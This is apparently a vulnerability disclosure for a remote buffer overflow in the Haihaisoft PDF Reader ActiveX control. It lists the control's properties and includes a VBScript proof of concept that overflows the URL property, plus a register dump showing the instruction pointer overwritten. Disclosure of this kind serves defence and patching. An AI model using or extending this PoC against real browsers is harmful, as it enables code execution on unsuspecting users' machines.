Haihaisoft PDF Reader OCX Control 1.1.2.0 - Remote Buffer Overflow (PoC)

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 Haihaisoft PDF Reader OCX Control Remote Buffer Overflow
 url: http://www.haihaisoft.com/
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 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.altervista.org/

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on:
 Windows XP Professional SP3 full patched, Internet Explorer 8
 Windows 2k Professional SP4 full patched, Internet Explorer 6
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 File name:	PDFReaderOCX.ocx
 Version:	1.1.2.0
 ProgID:	PDFReaderOCX.PDFReaderOCXCtrl.1
 GUID:		{28CB49D6-E530-442B-A182-79F047C3AA1B}
 Descr.:	PDFReaderOCX Control
 
 Marked as:	RegKey Safe for Script: True
		RegKey Safe for Init: True
		Implements IObjectSafety: False
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 This control contains 19 members, as follow:

 Members: 19
	    URL
	    Language
	    UnicodeURL
	    ZoomOutput
	    ViewOutput
	    View_ContinuousOutput
	    UpdateURL
	    DownloadURL
	    m_ViewDir
	    RequiredVersion
	    Zoom
	    View
	    Rotate
	    GoTo
	    Open
	    Close
	    UILanguage
	    Print
	    DRMRights

 Particularly this one "URL" results vulnerable to a buffer overflow if you
 pass an overly long string (more than 2048 bytes) as filename and browse to
 the crafted web page (e.g. http://www.SomeSite.com/File.pdf) and then
 refresh the page.
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 Proof of concept:

 <object classid='clsid:28CB49D6-E530-442B-A182-79F047C3AA1B' id='test'></object>

 <script language="vbscript">
  buff = "AAAAAAAAAAAAAAABBBB" + String(2011, "C")
  test.URL = buff

  Function tryMe()
   document.location.reload
  End Function

  Sub Window_OnLoad
   setTimeout "tryMe()",2000
  End Sub
 </script>
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 Registers:

 17:07:08.406  pid=0410 tid=02DC  EXCEPTION (first-chance)
               ----------------------------------------------------------------
               Exception C0000005 (ACCESS_VIOLATION reading [42424242])
               ----------------------------------------------------------------
               EAX=0275CD80: 20 82 75 02 78 5E 75 02-41 41 41 41 41 41 41 41
               EBX=0275B978: CC 09 6B 02 00 00 00 00-00 00 00 00 98 B4 75 02
               ECX=02755E78: 80 CD 75 02 C0 BA 75 02-00 00 00 00 58 64 3D 02
               EDX=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
               ESP=0297C5B0: 9F 9D 28 02 F0 A1 75 02-C4 C5 97 02 25 5C 29 02
               EBP=0297FFB4: EC FF 97 02 BC B3 6B 79-78 5E 75 02 80 DF 12 00
               ESI=0275BAC0: 78 5E 75 02 78 01 75 02-00 08 00 00 00 00 00 00
               EDI=0275A1F0: BC 09 6B 02 00 00 00 00-00 00 00 00 0C A2 75 02
               EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
                             --> N/A
               ----------------------------------------------------------------
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